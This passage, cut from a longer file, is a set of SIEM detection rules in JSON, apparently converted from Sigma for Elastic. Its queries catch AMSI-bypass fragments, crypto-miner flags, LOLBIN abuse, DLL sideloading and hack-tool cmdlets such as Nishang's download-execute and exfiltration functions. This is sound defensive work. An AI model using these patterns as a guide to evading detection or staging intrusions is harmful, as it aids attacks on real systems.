"references": ["", "", "", "", ""], "license": "", "timestamp_override": "event.ingested"}
{"description": "Detects CLR DLL being loaded by an Office Product", "enabled": false, "false_positives": ["Alerts on legitimate macro usage as well, will need to filter as appropriate"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "8c295836-f279-2d1c-d41c-91654930c4a6", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "CLR DLL Loaded Via Office Applications", "query": "(process.executable:(*\\\\winword.exe OR *\\\\powerpnt.exe OR *\\\\excel.exe OR *\\\\outlook.exe) AND file.path:*\\\\clr.dll*)", "meta": {"from": "1m"}, "severity": "high", "tags": ["T1204"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0002", "reference": "", "name": "Execution"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1204", "name": "User Execution", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Antonlovesdnb"], "license": ""}
{"description": "Detects code execution via Pester.bat (Pester - Powershell Modulte for testing)", "enabled": false, "false_positives": ["Legitimate use of Pester for writing tests for Powershell scripts and modules"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "f46caa9c-a3ec-78d3-c4c5-6b3822a57e8a", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Execute Code with Pester.bat", "query": "((process.executable:(*\\\\powershell.exe OR *\\\\pwsh.exe) AND process.command_line:*Pester* AND process.command_line:*Get\\-Help*) OR (process.executable:*\\\\cmd.exe AND process.command_line:*pester* AND process.command_line:*;* AND process.command_line:(*help* OR *?*)))", "meta": {"from": "1m"}, "severity": "medium", "tags": ["Defense Evasion", "T1059", "T1216"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0002", "reference": "", "name": "Execution"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1059", "name": "Command and Scripting Interpreter", "reference": ""}]}, {"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1216", "name": "System Script Proxy Execution", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Julia Fomina", "oscd.community"], "license": ""}
{"description": "Detects code execution via Pester.bat (Pester - Powershell Modulte for testing)", "enabled": false, "false_positives": ["Legitimate use of Pester for writing tests for Powershell scripts and modules"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "b9a24e0c-4918-cb7e-07c4-2e00964f5905", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Execute Code with Pester.bat as Parent", "query": "(process.parent.executable.text:(*\\\\powershell.exe OR *\\\\pwsh.exe) AND process.parent.command_line.text:*\\\\WindowsPowerShell\\\\Modules\\\\Pester\\\\* AND process.parent.command_line.text:(*\\{\\ Invoke\\-Pester\\ \\-EnableExit\\ ;* OR *\\{\\ Get\\-Help\\ \\\"*))", "meta": {"from": "1m"}, "severity": "medium", "tags": ["Defense Evasion", "T1059", "T1216"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0002", "reference": "", "name": "Execution"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1059", "name": "Command and Scripting Interpreter", "reference": ""}]}, {"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1216", "name": "System Script Proxy Execution", "reference": ""}]}], "version": 1, "references": ["", ""], "timestamp_override": "event.ingested", "author": ["frack113", "Nasreddine Bencherchali"], "license": ""}
{"description": "Detects code execution via the Windows Update client (wuauclt)", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "049681f0-b499-3293-7b1c-18bee00ec82b", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Windows Update Client LOLBIN", "query": "(((process.command_line:*\\/UpdateDeploymentProvider* AND process.command_line:*\\/RunHandlerComServer* AND process.command_line:*.dll*) AND (process.executable:*\\\\wuauclt.exe OR winlog.event_data.OriginalFileName:\"wuauclt.exe\")) AND (NOT (process.command_line:(*\\ \\/ClassId\\ * OR *\\ wuaueng.dll\\ *))))", "meta": {"from": "1m"}, "severity": "high", "tags": ["T1105", "T1218"], "to": "now", "type": "query", "threat": [], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["FPT.EagleEye Team"], "license": ""}
{"description": "Detects code fragments found in small and obfuscated AMSI bypass PowerShell scripts", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "059aee8b-3b96-1425-e371-e53623bc06cf", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "AMSI Bypass Pattern Assembly GetType", "query": "(powershell.file.script_block_text:*\\[Ref\\].Assembly.GetType* AND powershell.file.script_block_text:*SetValue\$$null,$true\$* AND powershell.file.script_block_text:*NonPublic,Static*)", "meta": {"from": "1m"}, "severity": "high", "tags": ["Defense Evasion", "T1562"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1562", "name": "Impair Defenses", "reference": ""}]}], "version": 1, "references": ["", ""], "timestamp_override": "event.ingested", "author": ["Florian Roth"], "license": ""}
{"description": "Detects Code Integrity (CI) engine blocking Microsoft Defender's processes (MpCmdRun and NisSrv) from loading unsigned DLLs which may be an attempt to sideload arbitary DLL", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "6336e266-e847-515c-52be-aac3ce35b3ab", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Microsoft Defender Blocked from Loading Unsigned DLL", "query": "(winlog.event_id:\"12\" AND ProcessPath:(*\\\\MpCmdRun.exe OR *\\\\NisSrv.exe))", "meta": {"from": "1m"}, "severity": "high", "tags": ["Defense Evasion", "T1574"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1574", "name": "Hijack Execution Flow", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Bhabesh Raj"], "license": ""}
{"description": "Detects Code Integrity (CI) engine blocking Microsoft Defender's processes (MpCmdRun and NisSrv) from loading unsigned DLLs which may be an attempt to sideload arbitrary DLL", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "6336e266-e847-515c-52be-aac3ce35b3ab", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Microsoft Defender Blocked from Loading Unsigned DLL", "query": "(winlog.event_id:(\"11\" OR \"12\") AND ProcessPath:(*\\\\MpCmdRun.exe OR *\\\\NisSrv.exe))", "meta": {"from": "1m"}, "severity": "high", "tags": ["Defense Evasion", "T1574"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1574", "name": "Hijack Execution Flow", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Bhabesh Raj"], "license": ""}
{"description": "Detects Code Integrity (CI) engine blocking processes from loading unsigned DLLs residing in suspicious locations", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "8a3ceee0-d514-d106-3cf1-2d26c9d91654", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Unsigned Binary Loaded From Suspicious Location", "query": "(winlog.event_id:(\"11\" OR \"12\") AND ImageName:(*\\\\Users\\\\Public\\\\* OR *\\\\PerfLogs\\\\* OR *\\\\Desktop\\\\* OR *\\\\Downloads\\\\* OR *\\\\AppData\\\\Local\\\\Temp\\\\* OR *C\\:\\\\Windows\\\\TEMP\\\\*))", "meta": {"from": "1m"}, "severity": "high", "tags": ["Defense Evasion", "T1574"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1574", "name": "Hijack Execution Flow", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Nasreddine Bencherchali"], "license": ""}
{"description": "Detects COM object hijacking via TreatAs subkey", "enabled": false, "false_positives": ["Maybe some system utilities in rare cases use linking keys for backward compatibility"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "b8c85b6a-333d-6f1a-c63c-887488d13917", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Windows Registry Persistence COM Key Linking", "query": "((winlog.event_data.EventType:\"CreateKey\" AND winlog.event_data.TargetObject:*HKU\\\\* AND winlog.event_data.TargetObject:*Classes\\\\CLSID\\\\* AND winlog.event_data.TargetObject:*\\\\TreatAs*) AND (NOT ((process.executable.text:\"C\\:\\\\WINDOWS\\\\system32\\\\svchost.exe\"))))", "meta": {"from": "1m"}, "severity": "medium", "tags": ["T1546"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0003", "reference": "", "name": "Persistence"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1546", "name": "Event Triggered Execution", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Kutepov Anton", "oscd.community"], "license": ""}
{"description": "Detects command line parameter very often used with coin miners", "enabled": false, "false_positives": ["Other tools that use a --cpu-priority flag"], "filters": [], "from": "now-360s", "immutable": false, "index": ["apm-*-transaction", "auditbeat-*", "endgame-*", "filebeat-*", "packetbeat-*", "winlogbeat-*", "logs-*"], "interval": "5m", "rule_id": "65e0ae45-55e1-c4d1-017d-c77829c4093d", "language": "lucene", "max_signals": 100, "risk_score": 95, "name": "Possible Coin Miner CPU Priority Param", "query": "(a1:\\-\\-cpu\\-priority* OR a2:\\-\\-cpu\\-priority* OR a3:\\-\\-cpu\\-priority* OR a4:\\-\\-cpu\\-priority* OR a5:\\-\\-cpu\\-priority* OR a6:\\-\\-cpu\\-priority* OR a7:\\-\\-cpu\\-priority*)", "meta": {"from": "1m"}, "severity": "critical", "tags": ["Privilege Escalation", "T1068"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0004", "reference": "", "name": "Privilege Escalation"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1068", "name": "Exploitation for Privilege Escalation", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Florian Roth"], "license": ""}
{"description": "Detects command line parameters or strings often used by crypto miners", "enabled": false, "false_positives": ["Legitimate use of crypto miners", "Some build frameworks"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "bea86f20-a7d9-0534-1f8b-c95a6229ee20", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Windows Crypto Mining Indicators", "query": "(process.command_line.text:(*\\ \\-\\-cpu\\-priority\\=* OR *\\-\\-donate\\-level\\=0* OR *\\ \\-o\\ pool.* OR *\\ \\-\\-nicehash* OR *\\ \\-\\-algo\\=rx\\/0\\ * OR *stratum\\+tcp\\:\\/\\/* OR *stratum\\+udp\\:\\/\\/* OR *LS1kb25hdGUtbGV2ZWw9* OR *0tZG9uYXRlLWxldmVsP* OR *tLWRvbmF0ZS1sZXZlbD* OR *c3RyYXR1bSt0Y3A6Ly* OR *N0cmF0dW0rdGNwOi8v* OR *zdHJhdHVtK3RjcDovL* OR *c3RyYXR1bSt1ZHA6Ly* OR *N0cmF0dW0rdWRwOi8v* OR *zdHJhdHVtK3VkcDovL*) AND (NOT (process.command_line.text:(*\\ pool.c\\ * OR *\\ pool.o\\ * OR *gcc\\ \\-*))))", "meta": {"from": "1m"}, "severity": "high", "tags": ["T1496"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0034", "reference": "", "name": "Impact"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1496", "name": "Resource Hijacking", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Florian Roth"], "license": ""}
{"description": "Detects command line parameters or strings often used by crypto miners", "enabled": false, "false_positives": ["Legitimate use of crypto miners"], "filters": [], "from": "now-360s", "immutable": false, "index": ["apm-*-transaction", "auditbeat-*", "endgame-*", "filebeat-*", "packetbeat-*", "winlogbeat-*", "logs-*"], "interval": "5m", "rule_id": "993f040e-4c31-4f7e-60c2-284a78fa8376", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Linux Crypto Mining Indicators", "query": "process.command_line:(*\\ \\-\\-cpu\\-priority\\=* OR *\\-\\-donate\\-level\\=0* OR *\\ \\-o\\ pool.* OR *\\ \\-\\-nicehash* OR *\\ \\-\\-algo\\=rx\\/0\\ * OR *stratum\\+tcp\\:\\/\\/* OR *stratum\\+udp\\:\\/\\/* OR *sh\\ \\-c\\ \\/sbin\\/modprobe\\ msr\\ allow_writes\\=on* OR *LS1kb25hdGUtbGV2ZWw9* OR *0tZG9uYXRlLWxldmVsP* OR *tLWRvbmF0ZS1sZXZlbD* OR *c3RyYXR1bSt0Y3A6Ly* OR *N0cmF0dW0rdGNwOi8v* OR *zdHJhdHVtK3RjcDovL* OR *c3RyYXR1bSt1ZHA6Ly* OR *N0cmF0dW0rdWRwOi8v* OR *zdHJhdHVtK3VkcDovL*)", "meta": {"from": "1m"}, "severity": "high", "tags": [], "to": "now", "type": "query", "threat": [], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Florian Roth"], "license": ""}
{"description": "Detects command line parameters used by ADCSPwn, a tool to escalate privileges in an active directory network by coercing authenticate from machine accounts and relaying to the certificate service", "enabled": false, "false_positives": ["Unlikely"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "1519ec8a-413c-8554-d98d-e0b0829e6e26", "language": "lucene", "max_signals": 100, "risk_score": 95, "name": "ADCSPwn Hack Tool", "query": "(process.command_line:*\\ \\-\\-adcs\\ * AND process.command_line:*\\ \\-\\-port\\ *)", "meta": {"from": "1m"}, "severity": "critical", "tags": ["Credential Access", "T1557"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0006", "reference": "", "name": "Credential Access"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1557", "name": "Man-in-the-Middle", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Florian Roth"], "license": ""}
{"description": "Detects command line parameters used by Bloodhound and Sharphound hack tools", "enabled": false, "false_positives": ["Other programs that use these command line option and accepts an 'All' parameter"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "2940671e-408a-9b58-7b9e-45d40486f5dd", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Bloodhound and Sharphound Hack Tool", "query": "(process.executable:(*\\\\Bloodhound.exe* OR *\\\\SharpHound.exe*) OR process.command_line:(*\\ \\-CollectionMethod\\ All\\ * OR *.exe\\ \\-c\\ All\\ \\-d\\ * OR *Invoke\\-Bloodhound* OR *Get\\-BloodHoundData*) OR (process.command_line:*\\ \\-JsonFolder\\ * AND process.command_line:*\\ \\-ZipFileName\\ *) OR (process.command_line:*\\ DCOnly\\ * AND process.command_line:*\\ \\-\\-NoSaveCache\\ *))", "meta": {"from": "1m"}, "severity": "high", "tags": ["T1059", "T1069", "T1069", "T1087", "T1087", "T1482"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0002", "reference": "", "name": "Execution"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1059", "name": "Command and Scripting Interpreter", "reference": ""}]}, {"tactic": {"id": "TA0007", "reference": "", "name": "Discovery"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1069", "name": "Permission Groups Discovery", "reference": ""}, {"id": "T1069", "name": "Permission Groups Discovery", "reference": ""}, {"id": "T1087", "name": "Account Discovery", "reference": ""}, {"id": "T1087", "name": "Account Discovery", "reference": ""}, {"id": "T1482", "name": "Domain Trust Discovery", "reference": ""}]}], "version": 1, "references": ["", ""], "timestamp_override": "event.ingested", "author": ["Florian Roth"], "license": ""}
{"description": "Detects command line parameters used by Hydra password guessing hack tool", "enabled": false, "false_positives": ["Software that uses the caret encased keywords PASS and USER in its command line"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "48658174-a20f-31fb-5e91-2ab5d0458b2e", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Hydra Password Guessing Hack Tool", "query": "(process.command_line:*\\-u\\ * AND process.command_line:*\\-p\\ * AND process.command_line:(*\\^USER\\^* OR *\\^PASS\\^*))", "meta": {"from": "1m"}, "severity": "high", "tags": ["Credential Access", "T1110", "T1110"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0006", "reference": "", "name": "Credential Access"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1110", "name": "Brute Force", "reference": ""}, {"id": "T1110", "name": "Brute Force", "reference": ""}]}], "version": 1, "references": ["", ""], "timestamp_override": "event.ingested", "author": ["Vasiliy Burov"], "license": ""}
{"description": "Detects command line parameters used by Koadic hack tool", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "c4f9d8e3-2653-3953-002b-aa6c277de12b", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Koadic Execution", "query": "(process.executable:*\\\\cmd.exe AND process.command_line:*\\/q* AND process.command_line:*\\/c* AND process.command_line:*chcp*)", "meta": {"from": "1m"}, "severity": "high", "tags": ["T1059", "T1059", "T1059"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0002", "reference": "", "name": "Execution"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1059", "name": "Command and Scripting Interpreter", "reference": ""}, {"id": "T1059", "name": "Command and Scripting Interpreter", "reference": ""}, {"id": "T1059", "name": "Command and Scripting Interpreter", "reference": ""}]}], "version": 1, "references": ["", "", ""], "timestamp_override": "event.ingested", "author": ["wagga", "Jonhnathan Ribeiro", "oscd.community"], "license": ""}
{"description": "Detects command lines that indicate unwanted modifications to registry keys that disable important Internet Explorer security features", "enabled": false, "false_positives": ["Unknown, maybe some security software installer disables these features temporarily"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "4dc0241a-1470-a89c-0943-2ab8092c3097", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Disabled IE Security Features", "query": "((process.command_line:*\\ \\-name\\ IEHarden\\ * AND process.command_line:*\\ \\-value\\ 0\\ *) OR (process.command_line:*\\ \\-name\\ DEPOff\\ * AND process.command_line:*\\ \\-value\\ 1\\ *) OR (process.command_line:*\\ \\-name\\ DisableFirstRunCustomize\\ * AND process.command_line:*\\ \\-value\\ 2\\ *))", "meta": {"from": "1m"}, "severity": "high", "tags": ["Defense Evasion", "T1562"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1562", "name": "Impair Defenses", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Florian Roth"], "license": ""}
{"description": "Detects command that is used to disable or delete Windows eventlog via logman Windows utility", "enabled": false, "false_positives": ["Legitimate deactivation by administrative staff", "Installer tools that disable services, e.g. before log collection agent installation"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "5f8be944-de24-cb19-584f-39c925d5ee0b", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Disable or Delete Windows Eventlog", "query": "(process.command_line:*logman\\ * AND process.command_line:(*stop\\ * OR *delete\\ *) AND process.command_line:*EventLog\\-System*)", "meta": {"from": "1m"}, "severity": "high", "tags": ["Defense Evasion", "T1070", "T1562"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1070", "name": "Indicator Removal on Host", "reference": ""}, {"id": "T1562", "name": "Impair Defenses", "reference": ""}]}], "version": 1, "references": ["", ""], "timestamp_override": "event.ingested", "author": ["Florian Roth"], "license": ""}
{"description": "Detects command that type the content of ntdll.dll to a different file or a pipe in order to evade AV / EDR detection", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "e7dd463f-167b-b4e6-d3be-e345124dd1e7", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Suspicious Ntdll Pipe Redirection", "query": "process.command_line:(*type\\ %windir%\\\\system32\\\\ntdll.dll* OR *type\\ %systemroot%\\\\system32\\\\ntdll.dll* OR *type\\ c\\:\\\\windows\\\\system32\\\\ntdll.dll* OR *\\\\ntdll.dll\\ >\\ \\\\\\\\.\\\\pipe\\\\\\*)", "meta": {"from": "1m"}, "severity": "high", "tags": ["Defense Evasion"], "to": "now", "type": "query", "threat": [], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Florian Roth"], "license": ""}
{"description": "Detects Commandlet name for PrintNightmare exploitation.", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "32c43f97-92e0-a180-5545-d387e611b8cf", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "PrintNightmare Powershell Exploitation", "query": "powershell.file.script_block_text:*Invoke\\-Nightmare*", "meta": {"from": "1m"}, "severity": "high", "tags": ["Privilege Escalation", "T1548"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0004", "reference": "", "name": "Privilege Escalation"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1548", "name": "Abuse Elevation Control Mechanism", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Max Altgelt", "Tobias Michalski"], "license": ""}
{"description": "Detects Commandlet names and arguments from the Nishang exploitation framework", "author": ["Alec Costello"], "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "2d4981d9-a730-b391-e585-13921e318163", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Malicious Nishang PowerShell Commandlets", "query": "powershell.file.script_block_text:(*Add\\-ConstrainedDelegationBackdoor* OR *Copy\\-VSS* OR *Create\\-MultipleSessions* OR *DataToEncode* OR *DNS_TXT_Pwnage* OR *Do\\-Exfiltration\\-Dns* OR *Download_Execute* OR *Download\\-Execute\\-PS* OR *DownloadAndExtractFromRemoteRegistry* OR *DumpCerts* OR *DumpCreds* OR *DumpHashes* OR *Enable\\-DuplicateToken* OR *Enable\\-Duplication* OR *Execute\\-Command\\-MSSQL* OR *Execute\\-DNSTXT\\-Code* OR *Execute\\-OnTime* OR *ExetoText* OR *exfill* OR *ExfilOption* OR *FakeDC* OR *FireBuster* OR *FireListener* OR *Get\\-Information* OR *Get\\-PassHints* OR *Get\\-Web\\-Credentials* OR *Get\\-WebCredentials* OR *Get\\-WLAN\\-Keys* OR *HTTP\\-Backdoor* OR *Invoke\\-AmsiBypass* OR *Invoke\\-BruteForce* OR *Invoke\\-CredentialsPhish* OR *Invoke\\-Decode* OR *Invoke\\-Encode* OR *Invoke\\-Interceptor* OR *Invoke\\-JSRatRegsvr* OR *Invoke\\-JSRatRundll* OR *Invoke\\-MimikatzWDigestDowngrade* OR *Invoke\\-NetworkRelay* OR *Invoke\\-PowerShellIcmp* OR *Invoke\\-PowerShellUdp* OR *Invoke\\-Prasadhak* OR *Invoke\\-PSGcat* OR *Invoke\\-PsGcatAgent* OR *Invoke\\-SessionGopher* OR *Invoke\\-SSIDExfil* OR *LoggedKeys* OR *Nishang* OR *NotAllNameSpaces* OR *Out\\-CHM* OR *OUT\\-DNSTXT* OR *Out\\-HTA* OR *Out\\-RundllCommand* OR *Out\\-SCF* OR *Out\\-SCT* OR *Out\\-Shortcut* OR *Out\\-WebQuery* OR *Out\\-Word* OR *Parse_Keys* OR *Password\\-List* OR *Powerpreter* OR *Remove\\-Persistence* OR *Remove\\-PoshRat* OR *Remove\\-Update* OR *Run\\-EXEonRemote* OR *Set\\-DCShadowPermissions* OR *Set\\-RemotePSRemoting* OR *Set\\-RemoteWMI* OR *Shellcode32* OR *Shellcode64* OR *StringtoBase64* OR *TexttoExe*)", "meta": {"from": "1m"}, "severity": "high", "tags": ["T1059"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0002", "reference": "", "name": "Execution"}, "framework": "MITRE ATT&CK", "technique": [{"id": "T1059", "name": "Command and Scripting Interpreter", "reference": ""}]}], "version": 1, "references": [""], "license": "", "timestamp_override": "event.ingested"}
{"description": "Detects Commandlet names from PowerView of PowerSploit exploitation framework.", "author": ["Bhabesh Raj"], "enabled": false, "false_positives": ["Should not be any as administrators do not use this tool"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "d28ffae2-cc6a-82e8-6296-db451359e2ad", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Malicious PowerView PowerShell Commandlets", "query": "powershell.file.script_block_text:(*Add\\-DomainGroupMember* OR *Add\\-DomainObjectAcl* OR *Add\\-ObjectAcl* OR *Add\\-RemoteConnection* OR *Convert\\-ADName* OR *ConvertFrom\\-UACValue* OR *Convert\\-NameToSid* OR *ConvertTo\\-SID* OR *Export\\-PowerViewCSV* OR *Find\\-DomainLocalGroupMember* OR *Find\\-DomainObjectPropertyOutlier* OR *Find\\-DomainProcess* OR *Find\\-DomainShare* OR *Find\\-DomainUserEvent* OR *Find\\-DomainUserLocation* OR *Find\\-ForeignGroup* OR *Find\\-ForeignUser* OR *Find\\-GPOComputerAdmin* OR *Find\\-GPOLocation* OR *Find\\-InterestingDomain* OR *Find\\-InterestingFile* OR *Find\\-LocalAdminAccess* OR *Find\\-ManagedSecurityGroups* OR *Get\\-ADObject* OR *Get\\-CachedRDPConnection* OR *Get\\-DFSshare* OR *Get\\-DNSRecord* OR *Get\\-DNSZone* OR *Get\\-Domain* OR *Get\\-Forest* OR *Get\\-IPAddress* OR *Get\\-LastLoggedOn* OR *Get\\-LoggedOnLocal* OR *Get\\-NetComputer* OR *Get\\-NetDomain* OR *Get\\-NetFileServer* OR *Get\\-NetForest* OR *Get\\-NetGPO* OR *Get\\-NetGroup* OR *Get\\-NetLocalGroup* OR *Get\\-NetLoggedon* OR *Get\\-NetOU* OR *Get\\-NetProcess* OR *Get\\-NetRDPSession* OR *Get\\-NetSession* OR *Get\\-NetShare* OR *Get\\-NetSite* OR *Get\\-NetSubnet* OR *Get\\-NetUser* OR *Get\\-ObjectAcl* OR *Get\\-PathAcl* OR *Get\\-Proxy* OR *Get\\-RegistryMountedDrive* OR *Get\\-RegLoggedOn* OR *Get\\-SiteName* OR *Get\\-UserEvent* OR *Get\\-WMIProcess* OR *Get\\-WMIReg* OR *Invoke\\-ACLScanner* OR *Invoke\\-CheckLocalAdminAccess* OR *Invoke\\-EnumerateLocalAdmin* OR *Invoke\\-EventHunter* OR *Invoke\\-FileFinder* OR *Invoke\\-Kerberoast* OR *Invoke\\-MapDomainTrust* OR *Invoke\\-ProcessHunter* OR *Invoke\\-RevertToSelf* OR *Invoke\\-ShareFinder* OR *Invoke\\-UserHunter* OR *Invoke\\-UserImpersonation* OR *New\\-DomainGroup* OR *New\\-DomainUser* OR *Remove\\-RemoteConnection* OR *Request\\-SPNTicket* OR *Resolve\\-IPAddress* OR *Set\\-ADObject* OR *Set\\-DomainObject* OR *Set\\-DomainUserPassword* OR *Test\\-AdminAccess*)", "meta": {"from": "1m"}, "severity": "high", "tags": ["T1059"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0002", "reference": "", "name": "Execution"}, "framework": "MITRE ATT&CK", "technique": [{"id": "T1059", "name": "Command and Scripting Interpreter", "reference": ""}]}], "version": 1, "references": ["", "", "", ""], "license": "", "timestamp_override": "event.ingested"}
{"description": "Detects Commandlet names from ShellIntel exploitation scripts.", "author": ["Max Altgelt", "Tobias Michalski"], "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "d1aa6189-006c-fc0c-92a7-e03d9801aebc", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Malicious ShellIntel PowerShell Commandlets", "query": "powershell.file.script_block_text:(*Invoke\\-SMBAutoBrute* OR *Invoke\\-GPOLinks* OR *Invoke\\-Potato*)", "meta": {"from": "1m"}, "severity": "high", "tags": ["T1059"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0002", "reference": "", "name": "Execution"}, "framework": "MITRE ATT&CK", "technique": [{"id": "T1059", "name": "Command and Scripting Interpreter", "reference": ""}]}], "version": 1, "references": [""], "license": "", "timestamp_override": "event.ingested"}
